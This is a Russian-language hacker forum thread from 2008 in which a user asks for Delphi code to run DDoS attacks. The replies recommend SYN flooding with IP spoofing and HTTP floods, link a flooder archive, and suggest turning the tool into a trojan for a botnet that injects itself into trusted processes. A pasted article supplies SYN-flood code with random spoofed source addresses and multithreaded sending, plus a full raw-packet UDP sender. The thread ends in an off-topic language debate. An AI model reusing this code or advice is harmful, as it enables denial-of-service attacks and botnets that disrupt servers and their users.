DDoS в Delphi
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя |
Сообщение |
<< Старые топики Новые топики >> |
|
|
DDoS в Delphi - 2008-03-07 22:13:58.883333
|
|
|
TPOYAN
Сообщений: 26
Оценки: 0
Присоединился: 2007-11-09 22:54:46.533333
|
подкинте плз ссылку на какую небудь норм статью по ДДоСу в дельпи…или простой пример на сырц…заранее спс… поиск недал норм результатов(((
|
|
|
RE: DDoS в Delphi - 2008-03-08 03:24:14.490000
|
|
|
NEFFboy
Сообщений: 204
Оценки: 0
Присоединился: 2007-03-18 11:11:02.040000
|
пиши бота который пингует, и ставь его не много тачек.
|
|
|
RE: DDoS в Delphi - 2008-03-08 07:10:50.240000
|
|
|
heaven7
Сообщений: 134
Оценки: 5
Присоединился: 2007-12-29 20:49:38.910000
|
писал такую прогу много лет назад =) http://pascalhp.net/tmp/flooder.zip
|
|
|
RE: DDoS в Delphi - 2008-03-08 12:30:02.310000
|
|
|
TPOYAN
Сообщений: 26
Оценки: 0
Присоединился: 2007-11-09 22:54:46.533333
|
спс за сырц , ток это несовсем то , что мне нада((=(
|
|
|
RE: DDoS в Delphi - 2008-03-08 12:34:57.660000
|
|
|
blаcksun
Сообщений: 1670
Оценки: 0
Присоединился: 2007-11-19 20:03:45.703333
|
Юзай сырые сокеты (для SYN флуда с айпи спуфингом), пакеты строй вручную, а потом отсылай с маленьким интервалом … сорца дать немогу, еще в разработке .. HTTP флуд - заваливаешь сервак кучей POST / GET запросов, есстесно забудь про всякие компоненты, только API.
|
|
|
RE: DDoS в Delphi - 2008-03-08 12:37:33.540000
|
|
|
sneG0K
Сообщений: 120
Оценки: 0
Присоединился: 2008-01-12 20:15:11.396666
|
Syn-flood это конешно хорошо, но сейчас многие фаерволлы уже проверяют подделку IP адреса. Хотя на обычного пользователя хватит больше чем…:)
|
|
|
RE: DDoS в Delphi - 2008-03-08 13:04:09.553333
|
|
|
blаcksun
Сообщений: 1670
Оценки: 0
Присоединился: 2007-11-19 20:03:45.703333
|
quote:
ORIGINAL: sneG0K Syn-flood это конешно хорошо, но сейчас многие фаерволлы уже проверяют подделку IP адреса. Хотя на обычного пользователя хватит больше чем…:) Ну попробуй натравить на чела, с выделенным айпи и без НАТа, с фаером, ддос скажем из 100 компов .. или банально вылетит фаер от такого кол-ва пакетов или просто канал забьется ..
|
|
|
RE: DDoS в Delphi - 2008-03-09 19:35:07.390000
|
|
|
TPOYAN
Сообщений: 26
Оценки: 0
Присоединился: 2007-11-09 22:54:46.533333
|
= ()
|
|
|
RE: DDoS в Delphi - 2008-03-09 20:21:41.006666
|
|
|
sneG0K
Сообщений: 120
Оценки: 0
Присоединился: 2008-01-12 20:15:11.396666
|
quote:
ORIGINAL: blаcksun quote:
ORIGINAL: sneG0K Syn-flood это конешно хорошо, но сейчас многие фаерволлы уже проверяют подделку IP адреса. Хотя на обычного пользователя хватит больше чем…:) Ну попробуй натравить на чела, с выделенным айпи и без НАТа, с фаером, ддос скажем из 100 компов .. или банально вылетит фаер от такого кол-ва пакетов или просто канал забьется .. Хотя впринципе ты прав. Хотя наверно это всеже как-то зависит от прова. Пров сам может фильтровать пакеты, хотя поидее он этого делать не должен.
|
|
|
RE: DDoS в Delphi - 2008-03-11 18:53:02.760000
|
|
|
TPOYAN
Сообщений: 26
Оценки: 0
Присоединился: 2007-11-09 22:54:46.533333
|
Вот есть у мну статья : Реализация DoS атак на Delphi.
[Инфо] Я думаю, что ты уже наслышан о DdoS-атаках. Хакеры получают огромные деньги за ddos сайтов, держа ресурсы неделями в ауте. Думаешь, что создать бота, способного производить dos-атаки, очень сложно? На самом деле все очень просто и сейчас ты сам в этом убедишься.
[Немного теории] DoS (Denial of Service) – это отказ в обслуживании. Т.е. хакер засоряет канал жертвы мусором так, что она не может отвечать на запросы легальных пользователей. Атакующий может сделать это двумя способами: атаки на переполнение буфера (Buffer Overflow) или отправка большого количество мусора (банальный флуд). Мы будем рассматривать второй вариант. Наша программа будет долбить сервер специально сгенерированными пакетами. Почему специальными? Да, потому что обычными запросами ничего не добьешься (точнее добьешься, только таких запросов нужно отправить слишком много). Мы же будем использовать технику, названную syn-flood. Надеюсь, ты знаешь, что такое TCP/IP протокол, и проблем с пониманием работы этой техникой у тебя не возникает.
Syn-flood основан на особенностях организации соединения между двумя компьютерами по протоколу TCP. Компьютер, который хочет соединиться, отправляет запрос с пакетом SYN. На это другая машина отвечает пакетом с флагом SYNACK. Получив ответ, первый компьютер посылает с флагом ACK, и потом происходит соединение. На рисунках представлена схема соединения.
Клиент --------SYN----------> Сервер
Клиент <----SYNACK--------- Сервер
Клиент --------ACK----------> Сервер
Везде предусмотрено ожидание (т.е. пакет попадает в буфер), иначе бы люди, сидящие на слабых каналах не смогли бы установить соединение.
TCP протокол инкапсулирован в IP (т.е. IP пакет содержит в себе TCP пакет). Именно в IP пакете содержится инфа о получателе и отправителе, а значит мы эту инфу можем подменить. Такой прием называется IP-спуфинг. Теперь сервер будет посылать SYNACK-пакет по «левым» адресам. Учитывая то, что буфер будет расти, хакер сможет серьезно замедлить работу сервера, а то и вовсе ее остановить.
Для того, чтобы все это проделать, придется собирать пакет вручную. А значит придется использовать RAW (сырые сокеты). К сожалению, в Delphi 7 нет поддержки сокетов второй версии (поддерживаются только первые), а самому объявлять необходимые функции и константы мне в лом, поэтому я использовал заголовочный файл WinSock2.pas, скачанный мною из сети.
[Let’s code] Сначала нужно объявить структуры IP и TCP заголовков. Значение всех полей можно прочитать в RFC.
PHP код:
//IP-заголовок
iph = record
ip_verlen: byte; //Версия и длина
ip_tos: byte; //Приоритет пакета
ip_len: word; // Длина заголовка
ip_id: word; // id -пакета
ip_offset: word; //Смещение
ip_ttl: byte; //Время жизни
ip_protocol: byte; //Протокол
ip_checksum: word; //Контрольная сумма
ip_saddr: longword; //Адрес отправителя
ip_daddr: longword; //Адрес получателя
end;
//TCP-заголовок
tcph = record
th_sport: word; //Порт отправителя
th_dport: word; //Порт получателя
th_seq: longword; // Последовательный номер
th_ack: longword; // Подтвержденный номер
th_len: byte; // Длина заголовка
th_flags: byte; // Кодовые биты
th_win: word; // Окно
th_checksum: word; // Контрольная сумма
th_upr: word; // Кодовые биты
end;
Итак, чтобы начать работу с библиотекой WinSock2, нужно ее инициализировать
PHP код:
WSAStartup(MAKEWORD(2,2),WSAdata)
Теперь создаем «сырой» сокет
PHP код:
FSocket:=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,ni l,0,WSA_FLAG_OVERLAPPED);
Далее устанавливаем опции соединения (включение заголовка и время отправки):
PHP код:
op:=1;
setsockopt(FSocket,IPPROTO_IP,IP_HDRINCL,@op,sizeo f(op));
nTimeOver:=1000;
setsockopt(FSocket,SOL_SOCKET,SO_SNDTIMEO,@nTimeOv er,sizeof(nTimeOver));
Далее следует большой код сборки пакета.
//Собираем пакет
//Пишем версию и длину ip-пакета
ipHeader.ip_verlen:=((4 shl 4)or sizeof(ipheader) div sizeof(longword));
ipHeader.ip_len:=htons(Size);
ipHeader.ip_tos:=0; //Приоритет пакета
ipHeader.ip_id:=1; //id-пакета
ipHeader.ip_offset:=0; //смещение
ipHeader.ip_ttl:=128; //время жизни пакета
ipHeader.ip_protocol:=IPPROTO_TCP; //протокол
//Генерируем рандомный ip-адресс
FromIp:='';
For j:=0 to 3 do
begin
RandIp:=random(255);
Str(Randip,Buffer[j]);
end;
//lstrcat –функция для сцепки строк
lstrcat(Fromip,Buffer[0]); lstrcat(Fromip,'.');
lstrcat(Fromip,Buffer[1]); lstrcat(Fromip,'.');
lstrcat(Fromip,Buffer[2]); lstrcat(Fromip,'.');
lstrcat(Fromip,Buffer[3]);
ipHeader.ip_saddr:=inet_addr(FromIp); //Адрес источника
ipHeader.ip_daddr:=inet_addr(DestIp) ;//Адрес получателя
//Заполняем TCP-заголовок
TCPHeader.th_sport:=htons(Random(65000)); //Порт источника
TCPHeader.th_dport:=htons(port); //Порт получателя
TCPHeader.th_seq:=Random(4294967295); //Номер пакета
TCPHeader.th_ack:=0;
TCPHeader.th_len:=80;
//SYN-пакет
TCPHeader.th_flags:=2;
TCPHeader.th_win:=htons(65535);
TCPHeader.th_upr:=0;
TCPHeader.th_checksum:=0;//Контрольная сумма TCP-пакета, которая расчитывается ниже
//Расчет контрольной суммы
DataPointer := @TCPIP[0];
FillChar(TCPIP, SizeOf(TCPIP), 0);
Move(ipHeader.ip_saddr, DataPointer^, SizeOf(ipHeader.ip_saddr));
DataPointer := pointer(integer(DataPointer) + SizeOf(ipHeader.ip_saddr));
ChecksumSize := ChecksumSize + sizeof(ipHeader.ip_saddr);
Move(ipHeader.ip_daddr, DataPointer^, sizeof(ipHeader.ip_daddr));
DataPointer := pointer(integer(DataPointer) + SizeOf(ipHeader.ip_daddr));
ChecksumSize := ChecksumSize + sizeof(ipHeader.ip_daddr);
DataPointer := pointer(integer(DataPointer) + 1);
Inc(ChecksumSize);
Move(ipHeader.ip_protocol, DataPointer^, sizeof(ipHeader.ip_protocol));
DataPointer := pointer(integer(DataPointer) + SizeOf(ipHeader.ip_protocol));
ChecksumSize := ChecksumSize + sizeof(ipHeader.ip_protocol);
TcpHeaderLen := htons(sizeof(tcpHeader));
Move(TcpHeaderLen, DataPointer^, sizeof(TcpHeaderLen));
DataPointer := pointer(integer(DataPointer) + SizeOf(TCPHeaderLen));
ChecksumSize := ChecksumSize + sizeof(TcpHeaderLen);
Move(tcpHeader, DataPointer^, sizeof(tcpHeader));
DataPointer := pointer(integer(DataPointer) + SizeOf(TCPHeader));
ChecksumSize := ChecksumSize + sizeof(tcpHeader);
tcpHeader.th_checksum := CheckSum(TCPIP, ChecksumSize);
FillChar(TCPIP, sizeof(TCPIP), 0);
DataPointer := @TCPIP[0];
Move(ipHeader, DataPointer^, sizeof(ipHeader));
DataPointer := pointer(integer(DataPointer) + SizeOf(IPHeader));
Move(tcpHeader, DataPointer^, sizeof(tcpHeader));
После чего его нужно отправить
For i:=0 to 10 do
begin
if (sendto(FSocket,TCPIP,Size,0,SockAddr_in,Sizeof(So ckAddr_In))=SOCKET_ERROR)
then
Writeln('Send error')
else
Writeln('Send ok');
end;
Весь код желательно поместить в одну функцию. Чтобы создать достаточную нагрузку на сервер нужно использовать многопоточность. Создаем потоки с помощью CreateThread и ждем завершения выполнения с помощью WaitForMultipleObjects
PHP код:
//Создаем потоки
for i:=0 to (CountT-1) do
Begin hThread[i]:=CreateThread(nil,0,@SINFLOOD,nil,0,ThreadID[i]);
end;
WaitForMultipleObjects(CountT,@hthread,true,INFINI TE);
Не надейся, что с диалапа ты сможешь завалить сервер Microsoft’а. В настоящий момент у серверов ширина канала и производительность намного превышает пользовательские возможности, поэтому чтобы завалить сервак нужно атаковать его с помощью сети состоящей из большого количества зараженных машин. Также не стоит забывать, что flood карается нашим законадательством, поэтому если не хочешь провети ближайшие несколько лет за решеткой, будь благоразумен.
Материалы к статье
(c) TanKisT и код для отправки по UDP протоколу…. Используя данный исходник можно конструировать собственные пакеты содержащие внутри всё, что угодно. Можно самостоятельно указывать в пакете IP-адрес получателя и отправителя, порт назначения и т.д. Если Вы не знаете, что это такое, то лучше не эксперементировать. Единственный недостаток, то, что скорее всего данный пример будет работать только в Windows 2000. Так же исходник позволяет произвести SYN flood и IP spoofing.
Необходимо зайти в систему под Администратором.
{
Raw Packet Sender
using: Delphi + Winsock 2
Copyright (c) 2000 by E.J.Molendijk (xes@dds.nl)
------------------------------------------------
Перед использованием измените значения
SrcIP+SrcPort+DestIP+DestPort на нужные!
------------------------------------------------
}
unit main;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, OleCtrls, Registry;
const
SrcIP = '123.123.123.1';
SrcPort = 1234;
DestIP = '123.123.123.2';
DestPort = 4321;
Max_Message = 4068;
Max_Packet = 4096;
type
TPacketBuffer = array[0..Max_Packet-1] of byte;
TForm1 = class(TForm)
Button1: TButton;
Memo1: TMemo;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
procedure SendIt;
end;
// Заголовок IP пакета
type
T_IP_Header = record
ip_verlen : Byte;
ip_tos : Byte;
ip_totallength : Word;
ip_id : Word;
ip_offset : Word;
ip_ttl : Byte;
ip_protocol : Byte;
ip_checksum : Word;
ip_srcaddr : LongWord;
ip_destaddr : LongWord;
end;
// Заголовок UDP пакета
type
T_UDP_Header = record
src_portno : Word;
dst_portno : Word;
udp_length : Word;
udp_checksum : Word;
end;
// Некоторые объявления типов для Winsock 2
u_char = Char;
u_short = Word;
u_int = Integer;
u_long = Longint;
SunB = packed record
s_b1, s_b2, s_b3, s_b4: u_char;
end;
SunW = packed record
s_w1, s_w2: u_short;
end;
in_addr = record
case integer of
0: (S_un_b: SunB);
1: (S_un_w: SunW);
2: (S_addr: u_long);
end;
TInAddr = in_addr;
Sockaddr_in = record
case Integer of
0: (sin_family: u_short;
sin_port: u_short;
sin_addr: TInAddr;
sin_zero: array[0..7] of Char);
1: (sa_family: u_short;
sa_data: array[0..13] of Char)
end;
TSockAddr = Sockaddr_in;
TSocket = u_int;
const
WSADESCRIPTION_LEN = 256;
WSASYS_STATUS_LEN = 128;
type
PWSAData = ^TWSAData;
WSAData = record // !!! also WSDATA
wVersion: Word;
wHighVersion: Word;
szDescription: array[0..WSADESCRIPTION_LEN] of Char;
szSystemStatus: array[0..WSASYS_STATUS_LEN] of Char;
iMaxSockets: Word;
iMaxUdpDg: Word;
lpVendorInfo: PChar;
end;
TWSAData = WSAData;
// Определяем необходимые функции winsock 2
function closesocket(s: TSocket): Integer; stdcall;
function socket(af, Struct, protocol: Integer): TSocket; stdcall;
function sendto(s: TSocket; var Buf; len, flags: Integer; var addrto: TSockAddr;
tolen: Integer): Integer; stdcall;{}
function setsockopt(s: TSocket; level, optname: Integer; optval: PChar;
optlen: Integer): Integer; stdcall;
function inet_addr(cp: PChar): u_long; stdcall; {PInAddr;} { TInAddr }
function htons(hostshort: u_short): u_short; stdcall;
function WSAGetLastError: Integer; stdcall;
function WSAStartup(wVersionRequired: word; var WSData: TWSAData): Integer; stdcall;
function WSACleanup: Integer; stdcall;
const
AF_INET = 2; // internetwork: UDP, TCP, etc.
IP_HDRINCL = 2; // включаем заголовок IP пакета
SOCK_RAW = 3; // интерфейс raw-протокола
IPPROTO_IP = 0; // dummy for IP
IPPROTO_TCP = 6; // tcp
IPPROTO_UDP = 17; // user datagram protocol
IPPROTO_RAW = 255; // raw IP пакет
INVALID_SOCKET = TSocket(not(0));
SOCKET_ERROR = -1;
var
Form1: TForm1;
implementation
// Импортируем функции Winsock 2
const WinSocket = 'WS2_32.DLL';
function closesocket; external winsocket name 'closesocket';
function socket; external winsocket name 'socket';
function sendto; external winsocket name 'sendto';
function setsockopt; external winsocket name 'setsockopt';
function inet_addr; external winsocket name 'inet_addr';
function htons; external winsocket name 'htons';
function WSAGetLastError; external winsocket name 'WSAGetLastError';
function WSAStartup; external winsocket name 'WSAStartup';
function WSACleanup; external winsocket name 'WSACleanup';
{$R *.DFM}
//
// Function: checksum
//
// Description:
// This function calculates the 16-bit one's complement sum
// for the supplied buffer
//
function CheckSum(var Buffer; Size : integer) : Word;
type
TWordArray = array[0..1] of Word;
var
ChkSum : LongWord;
i : Integer;
begin
ChkSum := 0;
i := 0;
while Size > 1 do
begin
ChkSum := ChkSum + TWordArray(Buffer)[i];
inc(i);
Size := Size - SizeOf(Word);
end;
if Size=1 then
ChkSum := ChkSum + Byte(TWordArray(Buffer)[i]);
ChkSum := (ChkSum shr 16) + (ChkSum and $FFFF);
ChkSum := ChkSum + (Chksum shr 16);
Result := Word(ChkSum);
end;
procedure BuildHeaders(FromIP : string; iFromPort : Word; ToIP : string;
iToPort : Word; StrMessage : string; var Buf : TPacketBuffer;
var remote : TSockAddr; var iTotalSize: Word);
var
dwFromIP : LongWord;
dwToIP : LongWord;
iIPVersion : Word;
iIPSize : Word;
ipHdr : T_IP_Header;
udpHdr : T_UDP_Header;
iUdpSize : Word;
iUdpChecksumSize : Word;
cksum : Word;
Ptr : ^Byte;
procedure IncPtr(Value : Integer);
begin
ptr := pointer(integer(ptr) + Value);
end;
begin
// преобразуем ip адреса
dwFromIP := inet_Addr(PChar(FromIP));
dwToIP := inet_Addr(PChar(ToIP));
// Инициализируем заголовок IP пакета
//
iTotalSize := sizeof(ipHdr) + sizeof(udpHdr) + length(strMessage);
iIPVersion := 4;
iIPSize := sizeof(ipHdr) div sizeof(LongWord);
//
// IP version goes in the high order 4 bits of ip_verlen. The
// IP header length (in 32-bit words) goes in the lower 4 bits.
//
ipHdr.ip_verlen := (iIPVersion shl 4) or iIPSize;
ipHdr.ip_tos := 0; // IP type of service
ipHdr.ip_totallength := htons(iTotalSize); // Total packet len
ipHdr.ip_id := 0; // Unique identifier: set to 0
ipHdr.ip_offset := 0; // Fragment offset field
ipHdr.ip_ttl := 128; // время жизни пакета
ipHdr.ip_protocol := $11; // Protocol(UDP)
ipHdr.ip_checksum := 0 ; // IP checksum
ipHdr.ip_srcaddr := dwFromIP; // Source address
ipHdr.ip_destaddr := dwToIP; // Destination address
//
// Инициализируем заголовок UDP пакета
//
iUdpSize := sizeof(udpHdr) + length(strMessage);
udpHdr.src_portno := htons(iFromPort) ;
udpHdr.dst_portno := htons(iToPort) ;
udpHdr.udp_length := htons(iUdpSize) ;
udpHdr.udp_checksum := 0 ;
//
// Build the UDP pseudo-header for calculating the UDP checksum.
// The pseudo-header consists of the 32-bit source IP address,
// the 32-bit destination IP address, a zero byte, the 8-bit
// IP protocol field, the 16-bit UDP length, and the UDP
// header itself along with its data (padded with a 0 if
// the data is odd length).
//
iUdpChecksumSize := 0;
ptr := @buf[0];
FillChar(Buf, SizeOf(Buf), 0);
Move(ipHdr.ip_srcaddr, ptr^, SizeOf(ipHdr.ip_srcaddr));
IncPtr(SizeOf(ipHdr.ip_srcaddr));
iUdpChecksumSize := iUdpChecksumSize + sizeof(ipHdr.ip_srcaddr);
Move(ipHdr.ip_destaddr, ptr^, SizeOf(ipHdr.ip_destaddr));
IncPtr(SizeOf(ipHdr.ip_destaddr));
iUdpChecksumSize := iUdpChecksumSize + sizeof(ipHdr.ip_destaddr);
IncPtr(1);
Inc(iUdpChecksumSize);
Move(ipHdr.ip_protocol, ptr^, sizeof(ipHdr.ip_protocol));
IncPtr(sizeof(ipHdr.ip_protocol));
iUdpChecksumSize := iUdpChecksumSize + sizeof(ipHdr.ip_protocol);
Move(udpHdr.udp_length, ptr^, sizeof(udpHdr.udp_length));
IncPtr(sizeof(udpHdr.udp_length));
iUdpChecksumSize := iUdpChecksumSize + sizeof(udpHdr.udp_length);
move(udpHdr, ptr^, sizeof(udpHdr));
IncPtr(sizeof(udpHdr));
iUdpChecksumSize := iUdpCheckSumSize + sizeof(udpHdr);
Move(StrMessage[1], ptr^, Length(strMessage));
IncPtr(Length(StrMessage));
iUdpChecksumSize := iUdpChecksumSize + length(strMessage);
cksum := checksum(buf, iUdpChecksumSize);
udpHdr.udp_checksum := cksum;
//
// Now assemble the IP and UDP headers along with the data
// so we can send it
//
FillChar(Buf, SizeOf(Buf), 0);
Ptr := @Buf[0];
Move(ipHdr, ptr^, SizeOf(ipHdr)); IncPtr(SizeOf(ipHdr));
Move(udpHdr, ptr^, SizeOf(udpHdr)); IncPtr(SizeOf(udpHdr));
Move(StrMessage[1], ptr^, length(StrMessage));
// Apparently, this SOCKADDR_IN structure makes no difference.
// Whatever we put as the destination IP addr in the IP header
// is what goes. Specifying a different destination in remote
// will be ignored.
//
remote.sin_family := AF_INET;
remote.sin_port := htons(iToPort);
remote.sin_addr.s_addr := dwToIP;
end;
procedure TForm1.SendIt;
var
sh : TSocket;
bOpt : Integer;
ret : Integer;
Buf : TPacketBuffer;
Remote : TSockAddr;
Local : TSockAddr;
iTotalSize : Word;
wsdata : TWSAdata;
begin
// Startup Winsock 2
ret := WSAStartup($0002, wsdata);
if ret<>0 then
begin
memo1.lines.add('WSA Startup failed.');
exit;
end;
with memo1.lines do
begin
add('WSA Startup:');
add('Desc.: '+wsData.szDescription);
add('Status: '+wsData.szSystemStatus);
end;
try
// Создаём сокет
sh := Socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
if (sh = INVALID_SOCKET) then
begin
memo1.lines.add('Socket() failed: '+IntToStr(WSAGetLastError));
exit;
end;
Memo1.lines.add('Socket Handle = '+IntToStr(sh));
// Option: Header Include
bOpt := 1;
ret := SetSockOpt(sh, IPPROTO_IP, IP_HDRINCL, @bOpt, SizeOf(bOpt));
if ret = SOCKET_ERROR then
begin
Memo1.lines.add('setsockopt(IP_HDRINCL) failed: '+IntToStr(WSAGetLastError));
exit;
end;
// строим пакет
BuildHeaders( SrcIP, SrcPort,
DestIP, DestPort,
'THIS IS A TEST PACKET',
Buf, Remote, iTotalSize );
// Отправляем пакет
ret := SendTo(sh, buf, iTotalSize, 0, Remote, SizeOf(Remote));
if ret = SOCKET_ERROR then
Memo1.Lines.Add('sendto() failed: '+IntToStr(WSAGetLastError))
else
Memo1.Lines.Add('send '+IntToStr(ret)+' bytes.');
// Закрываем сокет
CloseSocket(sh);
finally
// Закрываем Winsock 2
WSACleanup;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
SendIt;
end;
end.
Источник - Проект "Delphi World" © Выпуск 2002 - 2004
Автор проекта: Акулов Николай чет неполучается переделать на ТРС протокол= ((( мож кто знает как?
|
|
|
RE: DDoS в Delphi - 2008-03-12 23:57:11.026666
|
|
|
TPOYAN
Сообщений: 26
Оценки: 0
Присоединился: 2007-11-09 22:54:46.533333
|
ау……
|
|
|
RE: DDoS в Delphi - 2008-03-13 00:20:03.506666
|
|
|
sneG0K
Сообщений: 120
Оценки: 0
Присоединился: 2008-01-12 20:15:11.396666
|
Я не рассматривал второй сорц, но в первом ошибок дофига и больше… тупо синтаксических, и еще всяких… та цела куча левых переменных, которые не указаны… короче первый сорц просто так работать не будет:)
|
|
|
RE: DDoS в Delphi - 2008-03-13 03:29:07.720000
|
|
|
furiousangel
Сообщений: 1116
Оценки: 0
Присоединился: 2005-05-28 06:31:47
|
http://hackedpro.org/index.php?name=Pages&op=page&pid=12
|
|
|
RE: DDoS в Delphi - 2008-03-13 16:21:45.936666
|
|
|
TPOYAN
Сообщений: 26
Оценки: 0
Присоединился: 2007-11-09 22:54:46.533333
|
хм…эта статья выше есть….
|
|
|
RE: DDoS в Delphi - 2008-03-13 19:04:47.936666
|
|
|
furiousangel
Сообщений: 1116
Оценки: 0
Присоединился: 2005-05-28 06:31:47
|
Так в чем тогда проблема то??? Добавляешь модуль для централизованого управления, переносишь все это счастье в асм (ха-ха-ха) и получаешь троя, который мигом добавит машину в твой ботнет….. Правда надо поработать над внедрением в доверенные процессы (ты же не хочешь чтоб твой трой от своего имени делал грязные делишки:D) и ты сможешь построить нехилый ботнет…….
|
|
|
RE: DDoS в Delphi - 2008-03-13 19:13:53.386666
|
|
|
TPOYAN
Сообщений: 26
Оценки: 0
Присоединился: 2007-11-09 22:54:46.533333
|
дело в том шо в статье много ошибок…я дельпи токо 2 месяца изучаю…. …З.ы: у кавото есть инфа по компоненту WinSock2??? …з.ы2:на асме неумею кодить…= ((
|
|
|
RE: DDoS в Delphi - 2008-03-13 19:33:57.643333
|
|
|
_SaZ_
Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
|
Тогда не берись за такие задания. Сначала научись - потом пиши ) Человека, который только научился плавать не возьмут в олимпийскую сборную по плаванию.
|
|
|
RE: DDoS в Delphi - 2008-03-13 20:13:07.640000
|
|
|
TPOYAN
Сообщений: 26
Оценки: 0
Присоединился: 2007-11-09 22:54:46.533333
|
вот я тут и написал шоб научится= )
|
|
|
RE: DDoS в Delphi - 2008-03-13 20:45:07.580000
|
|
|
_SaZ_
Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
|
Надо изучать от простого к сложному. Напиши сначала сетевой чат. Да и кто-ж будет атакующие проги на дэлфи писать? +). Правда какой-нибуть "аццкий гуру" может. Типа как вирус "нешта".
|
|
|
RE: DDoS в Delphi - 2008-03-13 20:56:17.013333
|
|
|
TPOYAN
Сообщений: 26
Оценки: 0
Присоединился: 2007-11-09 22:54:46.533333
|
гыгы….писал уже чат= )
|
|
|
RE: DDoS в Delphi - 2008-03-13 21:06:02.560000
|
|
|
sneG0K
Сообщений: 120
Оценки: 0
Присоединился: 2008-01-12 20:15:11.396666
|
Ой _SaZ_ что то ты не того наговорил:D Писать ботнеты на дельфи это не изварещнство… Если на дельфи извращенство, то тогда и на С++ извращенство!!! Почему то многие считают, что дельфи плохой язык. Чем же тогда интереснее кодить на С++, если он использует туже библиотеку винсока и туже винапи… Размер?! так и на дельфи можно написать троя маленького размера? Иль все считают, что написание троянов в дельфи заканчивается на ServerSocket и ClientSocket?1! Короче… это только мое ИМХО и прозьба на него не обращать внимания:)
|
|
|
RE: DDoS в Delphi - 2008-03-14 10:24:55.333333
|
|
|
RasenHerz
Сообщений: 303
Оценки: 0
Присоединился: 2007-11-27 21:17:15.833333
|
quote:
Ой _SaZ_ что то ты не того наговорил Писать ботнеты на дельфи это не изварещнство… Если на дельфи извращенство, то тогда и на С++ извращенство!!! Почему то многие считают, что дельфи плохой язык. Чем же тогда интереснее кодить на С++, если он использует туже библиотеку винсока и туже винапи… Размер?! так и на дельфи можно написать троя маленького размера? Иль все считают, что написание троянов в дельфи заканчивается на ServerSocket и ClientSocket?1! Короче… это только мое ИМХО и прозьба на него не обращать внимания не будем флеймить здесь, но все же =))) : 1)можно писать ведь и в лине, где winsock и winapi в помине нет. 2)Си++ (англ. C++) — компилируемый строго типизированный язык программирования общего назначения. Поддерживает разные парадигмы программирования: процедурную, обобщённую, функциональную; наибольшее внимание уделено поддержке объектно-ориентированного программирования. Delphi (Де́льфи) — среда разработки, использует язык программирования Delphi (начиная с 7 версии язык в среде именуется Delphi, ранее - Object Pascal), разработанный фирмой Borland и изначально реализованный в её пакете Borland Delphi, от которого и получил в 2003 году своё нынешнее название. Object Pascal - по сути является наследником языка Pascal с объектно-ориентированными расширениями. Изначально среда разработки была предназначена исключительно для разработки приложений Microsoft Windows. 3) Языки создавались даже для разных целей - C/C++ - для кроссплатформенного системного программирования; Delphi - изначально "под форточки".
|
|
|
RE: DDoS в Delphi - 2008-03-14 13:21:29.240000
|
|
|
_SaZ_
Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
|
Лично мне понятнее, как работает c++ компилер. Я знаю, как работает препроцессор, и что приблизительно получится в .exe на выходе. А вот в дэлфи - хз. К тому же на си можно поизвращаться (оффтоп), хотя не многие знают, почему компилятор это проглатывает:
//...
printf("%с",5["preved medved"]);
//...
|
|
|
RE: DDoS в Delphi - 2008-03-14 18:06:56.280000
|
|
|
mofo
Сообщений: 10
Оценки: 0
Присоединился: 2008-03-10 10:09:50.693333
|
Внимание оффтоп! quote:
наибольшее внимание уделено поддержке объектно-ориентированного программирования. Да ваш любимый C++ даже не является обьектно-ориентированным языком по сути - слишком много в нем нет. Про остальные кривости языка я промолчу.
|
|
|
RE: DDoS в Delphi - 2008-03-14 19:53:39.450000
|
|
|
RasenHerz
Сообщений: 303
Оценки: 0
Присоединился: 2007-11-27 21:17:15.833333
|
quote:
Да ваш любимый C++ даже не является обьектно-ориентированным языком по сути - слишком много в нем нет. Про остальные кривости языка я промолчу. ну так назови что есть в Delphi, но чего нет в С++! я жду… =)
|
|
|
RE: DDoS в Delphi - 2008-03-14 19:55:51.640000
|
|
|
_SaZ_
Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
|
Свойств… хотя, имхо, нафиг надо они. C++ the best ;)
|
|
|
RE: DDoS в Delphi - 2008-03-14 20:13:40.426666
|
|
|
RasenHerz
Сообщений: 303
Оценки: 0
Присоединился: 2007-11-27 21:17:15.833333
|
quote:
Свойств… хотя, имхо, нафиг надо они. C++ the best ;) свойства - извращение Microsoft и их последователей =) , что мешает создать в классе функции типа width(), height()? как это сделали парни из TrollTech в своем супер популярном проекте Qt? ничего! большинству юзеров, самоучек и т.д. и т.п. просто лень писать "(" и ")" вот и говорят С++ - ни черта не объектно-ориентированный, потому что эти скобки надо ставить; по-моему такие доводы глупы =)))…. С++ прекрасно оснащен ОО возможностями: сокрытие информации, наследование, полиморфизм, перегрузка функций(в том числе операторных), классы и т.д.
|
|
|
RE: DDoS в Delphi - 2008-03-15 12:09:30.076666
|
|
|
mofo
Сообщений: 10
Оценки: 0
Присоединился: 2008-03-10 10:09:50.693333
|
quote:
ну так назови что есть в Delphi, но чего нет в С++! я жду… =) Нет интерфейсов, нет делегирования, нет различия абстрактных типов данных и обьектов. Зато есть никому не нужное множественное наследование ) Про Delphi мы щас не говорим - он тоже не совершенен, но хотя бы получше чем C++.
|
|
|
RE: DDoS в Delphi - 2008-03-15 12:30:55.316666
|
|
|
sneG0K
Сообщений: 120
Оценки: 0
Присоединился: 2008-01-12 20:15:11.396666
|
Епт, что вы спорите?! Народ кончаем оффтопить. С++ как и дельфи не идеальны. Дельфи есть и под никсы (Куликс) и он практически ничем не уступает С++. У каждого языка свои преимущества и недостатки. Я пока учу дельфи, потому, что с ним легче выучить английский:D Но С++ тоже мощный язык. Хотя чего тут говорить - АСМ всему голова:)
|
|
|
RE: DDoS в Delphi - 2008-03-15 15:11:51.240000
|
|
|
_SaZ_
Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
|
quote:
